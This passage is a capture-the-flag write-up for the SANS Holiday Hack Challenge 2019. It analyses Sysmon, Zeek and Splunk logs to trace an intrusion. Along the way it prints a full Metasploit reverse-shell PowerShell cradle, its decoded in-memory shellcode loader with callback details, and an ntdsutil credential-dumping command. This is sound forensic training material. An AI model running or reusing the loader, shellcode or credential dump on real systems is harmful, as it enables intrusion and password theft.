  "user_name": "SYSTEM"
}
```

3. The following command_line indicates an elevation of privilege to SYSTEM using the Named Pipe Impersonation technique (common artifact when the "getsystem" command is used in Metasploit and other frameworks)

```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ eql query -f sysmon-data.json 'process where command_line = "pipe*" | jq
{
  "command_line": "cmd.exe /c echo besewi > \\\\.\\pipe\\besewi",
  "event_type": "process",
  "logon_id": 999,
  "parent_process_name": "services.exe",
  "parent_process_path": "C:\\Windows\\System32\\services.exe",
  "pid": 3812,
  "ppid": 616,
  "process_name": "cmd.exe",
  "process_path": "C:\\Windows\\System32\\cmd.exe",
  "subprocess": "create",
  "timestamp": "132186397959850000",
  "unique_pid": "(7431d376-deb3-5dd3-0000-001096a84f00)",
  "unique_ppid": "(7431d376-cd7f-5dd3-0000-001010910000)",
  "user": "NT AUTHORITY\\SYSTEM",
  "user_domain": "NT AUTHORITY",
  "user_name": "SYSTEM"
}
```

4. There are 3 PowerShell payload execution sets and each set starts with an initial cmd.exe cradle process to launch PowerShell, followed by two subsequent powershell.exe processes. All had the same PowerShell payload and analysis indicates it is a standard Metasploit windows/meterpreter/reverse_tcp PowerShell psh-cmd payload.

```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ eql query -f sysmon-data.json 'process where command_line = "powershell.exe*" | jq
{
  "command_line": "C:\\Windows\\System32\\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\system32\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &{(scriptblock)::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([System.Convert]::FromBase64String('H4sIACHe010CA7VwBw/aSBD+nEj5D1aFZFshGANT2k1Vbs87vQnE0CAUnTb221ysWCVcCabtf78x4D59p1V70115We/DzMA888ByMST1vBeMBHEsD6fP26UKPh9iX1By13w3yU15h6A90YGdNN2VPkrFKIWNesjGsyurpxGJJAHN4LT5JQFBH/KVESkar0Rbqf5Bc304u1C2kz1L70KT8UfMjJFdtzIL2qWEnPutzGqS8Fa8Wu0RPh2R1eqHPCV1JFmkyFYSCeIXH2KvFgqphc0khVRZJPaIY+4Kwr3NC1XCSMgw165AwbYhIX584kxqAD/IREXGEGotSp+uFQKwH2C7mMHCckUSTnPlqeDqb/avMj7FexYGGP1m8A0FCvrJIuKE21QoTHD1M3BF3BlqWCngzVOVxZD85ZRCED0WL/7EjHJ0nJLMf1dJeaKEUj0RqnnI4g9RmtYJGTnoya+4uc+7Ck+We4Dt69np2ambEYWuX/IEV1FT/ZqAaQPR30v9VEq51UTrsGChwm85gZHTNTZM7B8buHkF66T26IGuCh2Jm00HVmoHFMZM63rGa6/3NC1ohLAJ1LAuxT0+Dc8hq+XGVkH14E7sBnxT5eECCGmHEWYLFLE3zD2p1n4pnXS0mzCEhsIFHEXgF6V0/d+aQBKvUBybxAaDD0/Au5wLTSSZ92Hes3Z6+g5BcZT1K81Vh1kz853FMCN0XKJBR19KH8ZB55/uWvGTfABryIzN1mZHI/3VXKq1TC2IwC0+8BaEZi1kKR11rUIUZIUS+7V34ViCpmDEoALG0gEBCTAmCJ1AKhuAhZVwSEW1/xYgPEvukBzDsQX0fab4hDvaII//bv4zIB9amSG0QvPA00msxLvLS1IYCGKkKLDov9z9o1/sva1G5JgFJauL2G61M+5qDR1tikf5j5EqQFRN8IuW/g1LyHnQD8ka7pVUEz6QdMM2LLRHT1Rvm/A7p0U2r1061S1FSwtr27mL2LHbbPVq/VarsuYo4qWm1x3Wslsz5eLcZuht0xEMbt0a0uJxUdgs03Vld5EY22rudsXsqGtvdmPcSc11vUvXutPfMnj3vto31iXcrdXj7r3kZBQRuZ0+tfp02F92GuJxMj46GrenP+A6bYbLkY6N3dthJrzs3rUkPm3HSSSYuSHVbs0j7q13RT3w2HTW/UN0KFrItq/4cRrSYdRG9VHSecuM/rBhoGH60N31u1f1ZT9vWnXGw9j3PGZ02xp+msMHRqA2+uX970gxQn781r15VB3YekoYFMF4JaLRldPaz770/V0Mbk4Qbdk8H4PmMo3A91hYnRtMeanI0b7nWfIKRADLGGjUMX3e98yeNqQ5v7rUp+Dz2S8eW920Hnd7madu4/w1LBN2eZq64yNp8uN17L4N67G081DwdM00T0RrdH5uaEbj6JVL3c2C09A+zD8+CYLEDa0Z/PhC1r8rJwb01zmmAFdeTndBdrgePd3ucphqKkg7qJ0KdmdmQw5Ma14Y3ba9KFBw7g50IFBjg1HMS69uLkLZ0H12dITqUhs8Fq3s9tQdEnhin19y8U1NPf1tKEEH8/r1pf3crBvJ6d1kwb28Z3r1aVLT0N/q1v8K2bG05/DP+TVK3/z+cFpMBbz+4B/2P1+448Q/dow7zEVIghB02LKMAFf1/7IjRdFb/UMQ0bd45W+29364u0vhr0T0b8vZ9dEQAAA-'')),[System.IO.Compression.CompressionMode]::Decompress)))$.ReadToEnd()))';$.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\"",
  "event_type": "process",
  "logon_id": 999,
  "parent_process_name": "?",
  "parent_process_path": "?",
  "pid": 3468,
  "ppid": 616,
  "process_name": "cmd.exe",
  "process_path": "C:\\Windows\\System32\\cmd.exe",
  "subprocess": "create",
  "timestamp": "132110784202880000",
  "unique_pid": "(7431d376-7e14-5d68-0000-0010bfdd2500)",
  "unique_ppid": "(00000000-0000-0000-0000-000000000000)",
  "user": "NT AUTHORITY\\SYSTEM",
  "user_domain": "NT AUTHORITY",
  "user_name": "SYSTEM"
}
```

Saving the base64 encoded portion into a file called psh.b64, it can be decoded and unzipped as follows:

```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ cat psh.b64 | base64 -d | gunzip
function a2T {
    Param ($ic6T, $ylnq)
    $cL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $cL.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @(System.Runtime.InteropServices.HandleRef)(New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($cL.GetMethod('GetModuleHandle')).Invoke($null, @($ic6T)))), $ylnq)
}
function iq {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $jd,
        [Parameter(Position = 1)] [Type] $v2a = [Void]
    )
    $mSSG = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $mSSG.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jd).SetImplementationFlags('Runtime, Managed')
    $mSSG.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $v2a, $jd).SetImplementationFlags('Runtime, Managed')
    return $mSSG.CreateType()
}
[Byte[]]$s2Tyx = [System.Convert]::FromBase64String("/0lCAAAAYInUmBk1lAw1lM1lU13IoD7dKJh/rDxhFAIsIMHPDQH4vJ5V4tSEItKPItMEJjSAHRUYtZIAHT10kY4zpJizSLAdYx/6zBzw0BxjgdfYDffg7fSR15FiLWCQB02aLDEuLWbW04sEiWQ1UQk3JftbVYlaUf/gX19a1xLrjVioMzIAAgH3cz3fVGHMdyYHieJ/0L1QAQAkCRUUGggGgsA/9VqCmJAqPaAaIAEVj51BQUFBAUEB0a0oP3+D/1ZdqEFZKajmldGH/1YXAdAr/Tgh170hnAAAagBqBFZxALZyF//1YP4AH421zQqGgAEAAVmoaAFiKU+X/12NTagBMU1doAtnIX/Vg/gaFShYaBAABAAqAFBoCy8PMP/VV2h1bk1h/9VeXvB0JA+FcP///+mb///AcMpxnXBw7vgH5oKaKaVvZ3/1TwGfAQa++B1BbTHE3JvagBT/9U=")
$coU = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll VirtualAlloc), (iq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $s2Tyx.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($s2Tyx, 0, $coU, $s2Tyx.Length)
$FM51S = ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll CreateThread), (iq @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, [IntPtr]::Zero, $coU, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll WaitForSingleObject), (iq @([IntPtr], [Int32]))).Invoke($FM51S, 0xffffffff) | Out-Null
slingshot@slingshot:~/working$
```

Then extracting the 2nd embedded base64 payload in the above screenshot yields the actual shellcode:

```
slingshot@slingshot:~/working$ cat psh2.b64 | base64 -d > sc.bin
slingshot@slingshot:~/working$ ndisasm -b 32 sc.bin > sc.asm
slingshot@slingshot:~/working$ vi sc.asm
```

```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
00000083 5A          pop     edx
00000084 8B12       mov     edx, [edx]
00000086 EB8D       jmp     short 0x15
00000088 5D          pop     ebp
00000089 6833320000 push dword 0x3233
0000008E 687773325F push dword 0x5f327377
00000093 54          push   esp
00000094 684C772607 push dword 0x726774c
00000099 89E8       mov     eax, ebp
0000009B FFD0       call    eax
0000009D B890010000 mov     eax, 0x190
000000A2 29C4       sub     esp, eax
000000A4 54          push   esp
000000A5 50          push   eax
000000A6 6829806B00 push dword 0x6b8029
000000AB FFD5       call    ebp
000000AD 6A0A       push   byte +0xa
000000AF 68C0A85680 push dword 0x8056a8c0
000000B4 680200115C push dword 0x5c110002
000000B9 89E6       mov     esi, esp
000000BB 50          push   eax
000000BC 50          push   eax
000000BD 50          push   eax
000000BE 50          push   eax
000000BF 40          inc     eax
000000C0 50          push   eax
000000C1 40          inc     eax
000000C2 50          push   eax
78,1 47%
```

The "push dword" line at offset "AF" contains the destination ip address the reverse_tcp payload will call back to "0x8056a8c0", which reversing the little-endian order will yield:

```
0xc0 = 192
0xa8 = 168
0x56 = 86
0x80 = 128


192.168.86.128
```

The "push dword" at offset "B4" contains the destination port in the high order word "5c11" which reversing little-endian is:

```
0x115c = 4444
```


Now excluding entries already analyzed, I filter those out with the following command:


```
eql query -f sysmon-data.json 'process where process_name != "net.exe" and process_name != "wevtutil.exe" and process_name != "powershell.exe" and command_line != "*powershell*" | jq "{process_name, command_line}"'
```



```
slingshot@slingshot:~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working eql query -f sysmon-data.json 'process where process_name != "net.exe" and process_name != "wevtutil.exe" and process_name != "powershell.exe" and command_line != "*powershell*" | jq "{process_name, command_line}"'
{"process_name": "cmd.exe",
"command_line": "C:\\Windows\\system32\\cmd.exe"}
{"process_name": "cmd.exe",
"command_line": "C:\\Windows\\system32\\cmd.exe"}
{"process_name": "cmd.exe",
"command_line": "cmd.exe /c echo besewi > \\\\.\\pipe\\besewi"}
{"process_name": "cmd.exe",
"command_line": "C:\\Windows\\system32\\cmd.exe"}
{"process_name": "ntdsutil.exe",
"command_line": "ntdsutil.exe \\ac i ntds\\ ifm \\create full c:\\hive\\ q q"}
slingshot@slingshot:~/working
```

This leaves the above 5 entries and process name "ntdsutil.exe" running as SYSTEM looks like the culprit:

```
eql query -f sysmon-data.json 'process where process_name = "ntdsutil.exe" | jq
```





```
slingshot@slingshot:~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working eql query -f sysmon-data.json 'process where process_name = "ntdsutil.exe" | jq
{"command_line": "ntdsutil.exe \\ac i ntds\\ ifm \\create full c:\\hive\\ q q",
"event_type": "process",
"logon_id": 999,
"parent_process_name": "cmd.exe",
"parent_process_path": "C:\\Windows\\System32\\cmd.exe",
"pid": 3556,
"ppid": 3440,
"process_name": "ntdsutil.exe",
"process_path": "C:\\Windows\\System32\\ntdsutil.exe",
"subtype": "create",
"timestamp": 132186398470300000,
"unique_pid": "(7431d376-d6e7-5dd3-0000-0010f0c44f00)",
"unique_ppid": "(7431d376-d6e7-5dd3-0000-0010f0c44f00)",
"user": "NT AUTHORITY\\SYSTEM",
"user_domain": "NT AUTHORITY",
"user_name": "SYSTEM"}
slingshot@slingshot:~/working
```

The ntdsutil method of credential dumping is described in detail here:


<https://isc.sans.edu/forums/diary/Cracking+AD+Domain+Passwords+Password+Assessments+Part+1+Collecting+Hashes/23383/>


The answer to Objective 4 needed for the badge question is the string: **ntdsutil**

 **4) Windows Log Analysis: Determine Attacker Technique**

Difficulty: 

Using [these normalized Sysmon logs](#), identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

 **4) Windows Log Analysis: Determine Attacker Technique**

Difficulty: 

Using [these normalized Sysmon logs](#), identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

Congratulations! You have completed the Windows Log Analysis: Determine Attacker Technique challenge!

Objective 5 – Network Log Analysis: Determine Compromised System

Everything needed to complete this objective is provided in the badge description for Objective 5 and dialog from Sparkle Redberry:

Sparkle Redberry

For objective 5, have you taken a look at our Zeek logs?

Something's gone wrong. But I hear someone named Rita can help us.


Can you and she figure out what happened?

A link is included to download the Zeek logs (<https://downloads.elfu.org/elfu-zeeklogs.zip>). Once downloaded, unzip it into a directory for analysis. As before, there are several tools and methods that could have been used to parse these log files which are in a table format broken out by traffic type, and not in JSON, XML, nor evtx format. I chose to use a combination of Linux command line tools to parse these files.

The conn*.log and files*.log files appear to contain the relevant ip connection related data and using the following command will produce the source ip address with the highest number of network connections, indicating this host is likely the one that is malware infected.


```
cat conn.log* files.log* | sed "s/\s\+/ /g" | cut -f 3-6 -d ' ' | sort | uniq | cut -f 1 -d ' ' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -c | sort -n | tail -5
```

After a few seconds, the following output is generated showing that ip address **192.168.134.130** with 165169 entries in these logs:




```
slingshot@slingshot: ~/working/elfu-zeeklogs
File Edit View Search Terminal Help
slingshot@slingshot:~/working/elfu-zeeklogs$ cat conn.log* files.log* | sed "s/\s\+/ /g" | cut -f 3-6 -d ' ' | sort | uniq | cut -f 1 -d ' ' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -c | sort -n | tail -5
159104 192.168.134.134
166507 192.168.134.133
161447 192.168.134.132
163960 192.168.134.131
165169 192.168.134.130
slingshot@slingshot:~/working/elfu-zeeklogs$
```

Additionally, there is a RITA (<https://www.blackhillsinfosec.com/projects/rita/>) report in the /elfu-zeeklogs/ELFU/ directory. Examining this data, also confirms that source ip address 192.168.134.130 has the greatest number of beaconing connections:




```
slingshot@slingshot: ~/working/elfu-zeeklogs/ELFU
File Edit View Search Terminal Help
slingshot@slingshot:~/working/elfu-zeeklogs$ cd ELFU/
slingshot@slingshot:~/working/elfu-zeeklogs/ELFU$ ls -al
total 88
drwxrwxr-x 3 slingshot slingshot 4096 Jan  7 22:51
drwxrwxr-x 3 slingshot slingshot 61440 Aug 24 09:43
drwxrwxr-x 2 slingshot slingshot 4096 Aug 24 09:43
-rw-rw-r-- 1 slingshot slingshot 2767 Aug 24 09:43 github.svg
-rw-rw-r-- 1 slingshot slingshot 7876 Aug 24 09:43 index.html
-rw-rw-r-- 1 slingshot slingshot 1506 Aug 24 09:43 style.css
slingshot@slingshot:~/working/elfu-zeeklogs/ELFU$ firefox index.html
```



Score	Source	Destination	Connections	Avg. Bytes	Intvl. Range	Size Range	Intvl. Mode	Size Mode	Intvl. Mode Count	Size Mode Count	Intvl. Skew	Size Skew	Intvl. Dispersion	Size Dispersion
0.998	192.168.134.130	144.202.46.214	7660	1156.000	10	683	10	563	6926	7641	0.000	0.000	0	0
0.847	192.168.134.131	150.254.186.145	684	13737.000	8741	2244	1	698	54	356	0.000	0.000	0	0
0.847	192.168.134.132	150.254.186.145	684	13634.000	37042	2563	1	697	58	373	0.000	0.000	0	0
0.840	192.168.134.135	150.254.186.145	345	12891.000	1	2097	1	694	31	181	0.000	0.000	0	0
0.835	192.168.134.133	45.55.96.63	132	1268.000	9	49	1	658	39	68	0.000	0.000	0	0
0.835	192.168.134.133	69.4.231.30	115	4135.000	2	105	1	684	35	58	0.000	0.000	0	0
0.835	192.168.134.135	52.242.211.89	49	572.000	1170	2766	1680	153	37	40	0.000	0.000	0	0
0.835	192.168.134.134	216.17.109.252	63	92.000	2	0	3	52	7	63	0.000	0.000	0	0
0.834	192.168.134.132	52.179.224.121	47	379.000	643	153	1680	153	29	37	0.000	0.000	0	0
0.834	192.168.134.134	52.177.166.224	46	541.000	471	2378	1680	153	28	36	0.000	0.000	0	0


And the highest duration of Long Connections:



Source	Destination	DstPort:Protocol:Service	Duration
192.168.134.130	148.69.64.76	443:tcp:-, 443:tcp:ssl	1035.9001
192.168.134.133	52.197.126.208	443:tcp:-, 443:tcp:ssl	531.6659
192.168.134.132	178.172.160.4	443:tcp:-, 443:tcp:ssl, 80:tcp:-, 80:tcp:http	531.5994
192.168.134.133	104.20.54.254	443:tcp:-, 443:tcp:ssl	527.3385
192.168.134.132	104.20.123.103	443:tcp:-, 443:tcp:ssl	526.3489
192.168.134.134	104.22.1.144	443:tcp:-, 443:tcp:ssl	526.3439
192.168.134.131	104.19.241.95	443:tcp:-, 443:tcp:ssl	526.3432
192.168.134.132	104.16.56.24	443:tcp:-, 443:tcp:ssl	526.3409
192.168.134.134	104.25.168.15	443:tcp:-, 443:tcp:ssl	526.34
192.168.134.133	104.16.1.78	443:tcp:-, 443:tcp:ssl	526.3397
192.168.134.132	104.26.1.248	80:tcp:http, 443:tcp:ssl, 443:tcp:-	526.3397
192.168.134.131	104.16.89.20	443:tcp:-, 443:tcp:ssl	526.3362


The answer to Objective 5 needed for the badge question is the string: **192.168.134.130**

5) Network Log Analysis: Determine Compromised System

Difficulty: 

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these [Zeek logs](#)? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

5) Network Log Analysis: Determine Compromised System

Difficulty: 

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these [Zeek logs](#)? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

Congratulations! You have completed the Network Log Analysis: Determine Compromised System challenge!

Objective 6 – Splunk

Everything needed to complete this objective is provided in the badge description for Objective 6 and dialog from Professor Banas:

Professor Banas

Hi, I'm Dr. Banas, professor of Cheerology at Elf University.

This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock!

I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC.

Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!

If I don't, he will have to report the incident to the boss of the SOC.

Apparently, I can find out more information from this website <https://splunk.elfu.org/> with the username: elf / Password: elfsocks.

I don't know anything about computer security. Can you please help me?

A link is included to a separate web site at: <https://splunk.elfu.org/>. This is a Splunk web console which requires authentication and the Professor Banas character in the Hermey Hall Laboratory provides an incident summary and the credentials needed to access this Splunk console (username: elf / Password: elfsocks).

Upon logging in, we're greeted with an introduction to this challenge:

The Search for Holiday Cheer Challenge

1. Your goal is to answer the **Challenge Question**. You will include the answer to this question in your HHC write-up!
2. You **do not** need to answer the training questions. You may simply search through the Elf U SOC data to find the answer to the final question on your own.
3. If you need some guidance, answer the training questions! Each one will help you get closer to the answering the Challenge Question.
4. Characters in the SOC Secure Chat are there to help you. If you see a blinking red dot ● next to a character, click on them and read the chat history to learn what they have to teach you! And don't forget to scroll up in the chat history!
5. To search the SOC data, just click the **Search** link in the navigation bar in the upper left hand corner of the page.
6. This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.
7. **WARNING** This is a defensive challenge. Do not attack this system, web application, or tick-end APIs. Thank you!

Close

After dismissing the intro message above, we see a chat window on the left and a list of 8 questions to answer on the right. The chat window has three online active users: "Alice Bluebird", "Kent", & "#ELFU SOC".

Elf University SOC

SOC Secure Chat

Alice Bluebird
● online

Buddy Bellsbee
● online

Cosmo Jingleberg
● online

Fisbee O'Mittens
● online

Kent
● online

Mcfluffy Battings
● online

Zippy Frostington
● online

#ELFU SOC
● members

Guest (me)
● online

Chat with Alice Bluebird

18 messages

Alice Bluebird

hey hey...

Guest (me)

Hiya Alice

Alice Bluebird

I see you've met Kent

Guest (me)

briefly. He seems...frustrated

Alice Bluebird

Pretty accurate. He's been here a long time and he struts around like some sort of cyber-peacock

Alice Bluebird

Some time (preferably over good eggnog) I'll tell you about his horrible opsec, too

The first rule of Elf U SOC is "scroll up!" ^^

Alice Bluebird sets up the goals for this challenge in her chat dialog which is show here below and also providing the direct link to the Splunk search and a separate AWS link where the File Archive is kept:

Chat with Alice Bluebird
18 messages

Alice Bluebird
hey hey...

Guest (me)
Hiya Alice

Alice Bluebird
I see you've met Kent

Guest (me)
briefly. He seems...frustrated

Alice Bluebird
Pretty accurate. He's been here a long time and he struts around like some sort of cyber-peacock

Alice Bluebird
Some time (preferably over good eggnog) I'll tell you about his horrible opsec, too

Alice Bluebird
Suffice to say we have adversaries poking fun at him during attacks. JML

Guest (me)
JML?

Alice Bluebird
jingle my life

Guest (me)
LOL!

Alice Bluebird
So Cosmo, Zippy, and I have a good handle on what went down with Professor B's system

Guest (me)
ah, gotcha

Alice Bluebird
But we can always use good analysts here in the SOC, so if you can figure it out, we'll put in a good word with the boss of the SOC.

Guest (me)
Let's do this!

Alice Bluebird
Okay. Your goal is to find the message for Kent that the adversary embedded in this attack.

Alice Bluebird
If you think you have the chops for that, don't let me slow you down. Get searching and enter the Challenge Question answer when you've found it.

Alice Bluebird
You'll need to know some things, though:

We use Splunk, so click [here](#) or hit the Search link in the navigation up above to get started.
I copied some raw files [here](#) or click the File Archive link in the navigation. (You'll find some references to the File Archive contents in Splunk)

You'll need to use both of these resources to answer the Challenge Question!

Alice Bluebird
Don't worry though, I can get you started down the right path with a few hints if you need 'em. All you have to do is answer the first training question. If you've read all the chat windows here, you already have the answer ;-)

The first rule of Elf U SOC is "scroll up!" ^^

Next is the chat with Kent which is not very helpful and he refers you to the "#ELFU SOC" chat channel:

Chat with Kent
7 messages

Guest (me)

Hi Kent :-)

Kent

Hi yourself.

Guest (me)

I ran into Professor Banas. He said you contacted him about his computer being hacked?

Kent

Oh, well lots of analysts try to make it here in the ELF U SOC, but most of them crack under the pressure

Guest (me)

Well, can I help?

Kent

You can try. Go check out #ELFU SOC. Maybe someone there will have time to bring you up to speed. Here's a tip, click on those blinking red dots to the left column and read very carefully.

Guest (me)

Thanks???

The first rule of Elf U SOC is "scroll up!" ^^

Lastly is the #ELFU SOC channel, which provides the answer to Training Question #1:

Chat with #ELFU SOC
5 messages

Cosmo Jingleberg

Hey did you all see that beaconing detection from RITA?

Zippy Frostington

Yep. And we have some system called 'sweetums' here on campus communicating with the same weird IP

Alice Bluebird

Gah... that's Professor Banas' system from over in the Polar Studies department

Guest (me)

That's why I'm here, actually...Kent sent me to this channel to help with Prof. Banas' system

Alice Bluebird

smh...I'll DM you

So now that we have sufficient background and context, we can use Splunk searches to answer the training questions:

Training Question #1:

What is the short host name of Professor Banas' computer?

The answer to this is in the #ELFU SOC chat channel where Zippy Frostington identified it as "sweetums"

Answer: **sweetums**

Results

✓ Training Question 1: Correct

Close

What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

You will find the following entries:

Answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

✓ Training Question 2: Correct


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Training Question #3:

What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

Search Range: 08/25/2019 17:18:50.000 - 08/25/2019 17:20:00.000

Search: sweetums powershell

Date time range 

> Presets

> Relative

> Date Range

> Date & Time Range

Between and

HHMM:SS.SSS HHMM:SS.SSS

Apply

> Advanced

_time	source	EventCode	host	ComputerName	sourceType	process_name	Process_Command_Line	TargetFilename	dest_ip
8/25/19 5:18:50.000 PM	WinEventLog:Microsoft-Windows-SymonOperational	3	sweetums	Windows-SymonOperational	XmWinEventLog:Microsoft-Windows-SymonOperational	powershell.exe		144.202.46.214	
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Symon" Guid="{577838F-C2A-43E8-8F4C-60F5698F809}" /><EventID>3</EventID><Version>1</Version><Level>Error</Level><TaskCategory>Operational</TaskCategory><TaskName>SymonOperational</TaskName><Source>Microsoft-Windows-SymonOperational</Source><Channel>Computer>sweetums</Channel><Computer>sweetums</Computer><Security><UserID>5-1-5-18 /></System><EventData><Data Name="RuleName">technique_idT1888, technique_namePowershell</Data><Data Name="ProcessID">5864</Data><Data Name="Process">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data><Data Name="Protocol">tcp</Data><Data Name="Initiator">172.16.234.189</Data><Data Name="SourceIP">172.16.234.189</Data><Data Name="SourcePort">59458</Data><Data Name="SourcePortName"></Data><Data Name="DestinationIP">144.202.46.214</Data><Data Name="DestinationPort">8080</Data><Data Name="DestinationPortName"></Data></EventData></Event>									
Event Actions									
Type	EventCode	3	Value	Actions					
Selected	dest_ip	144.202.46.214							
	host	sweetums							
	process_id	5864							
	process_name	powershell.exe							
	source	WinEventLog:Microsoft-Windows-SymonOperational							
	sourceType	XmWinEventLog:Microsoft-Windows-SymonOperational							
Event	Computer	sweetums.effu.org							
	DestinationHostame	144.202.46.214.vultr.com							
	DestinationIP	144.202.46.214							

8/25/19 5:18:50.000 PM	WinEventLog:Microsoft-Windows-SymonOperational	3	sweetums	Windows-SymonOperational	XmWinEventLog:Microsoft-Windows-SymonOperational	powershell.exe		144.202.46.214	
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Symon" Guid="{577838F-C2A-43E8-8F4C-60F5698F809}" /><EventID>3</EventID><Version>1</Version><Level>Error</Level><TaskCategory>Operational</TaskCategory><TaskName>SymonOperational</TaskName><Source>Microsoft-Windows-SymonOperational</Source><Channel>Computer>sweetums</Channel><Computer>sweetums</Computer><Security><UserID>5-1-5-18 /></System><EventData><Data Name="RuleName">technique_idT1888, technique_namePowershell</Data><Data Name="ProcessID">5864</Data><Data Name="Process">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data><Data Name="Protocol">tcp</Data><Data Name="Initiator">172.16.234.189</Data><Data Name="SourceIP">172.16.234.189</Data><Data Name="SourcePort">59458</Data><Data Name="SourcePortName"></Data><Data Name="DestinationIP">144.202.46.214</Data><Data Name="DestinationPort">8080</Data><Data Name="DestinationPortName"></Data></EventData></Event>									
Event Actions									
Type	EventCode	3	Value	Actions					
Selected	dest_ip	144.202.46.214							
	host	sweetums							
	process_id	5864							
	process_name	powershell.exe							
	source	WinEventLog:Microsoft-Windows-SymonOperational							
	sourceType	XmWinEventLog:Microsoft-Windows-SymonOperational							
Event	Computer	sweetums.effu.org							
	DestinationHostame	144.202.46.214.vultr.com							
	DestinationIP	144.202.46.214							
	DestinationIPV6	false							
	DestinationPort	8080							
	EventChannel	Microsoft-Windows-SymonOperational							
	EventDescription	Network Connect							
	EventID	3							
	Image	C:\Windows\System32\WindowsPowerShell\powershell.exe							
	Initiated	true							
	Keywords	0x8000000000000000							
	Level	4							
	Opcode	0							
	RecordID	144.202.46.214.vultr.com							

Answer: 144.202.46.214.vultr.com

Results

✓ Training Question 3: Correct

Training Question #4:

What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000

Search:

- sweetums
- Event of interest contained this attachment in Outlook for this zip file:
C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3MHHCH\Buttercups_HOL404_assignment (002).zip
- Unzipping this zip contained a .docm file inside that had malicious macro with PowerShell

Event ID: 11

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

TargetFilename: C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3MHHCH\Buttercups_HOL404_assignment (002).zip

Host: sweetums

ProcessName: OUTLOOK.EXE

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

SourcePath: C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3MHHCH\Buttercups_HOL404_assignment (002).zip

Computer: sweetums

Process: OUTLOOK.EXE

Event Details:

- Computer: sweetums
- CreationUtcTime: 2019-08-25 17:18:00.000
- EventChannel: Microsoft-Windows-Sysmon-Operational
- EventDescription: File Created
- EventID: 11
- Image: C:\Program Files (x86)\Microsoft\Office\Office16\OUTLOOK.EXE
- Keywords: 0x0000000000000000
- Level: 4
- Opcode: 0
- ProcessId: 5860
- ProcessName: C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3MHHCH\Buttercups_HOL404_assignment (002).zip

Event ID: 11

Source: WinEventLog!Microsoft-Windows-Sysmon-Operational

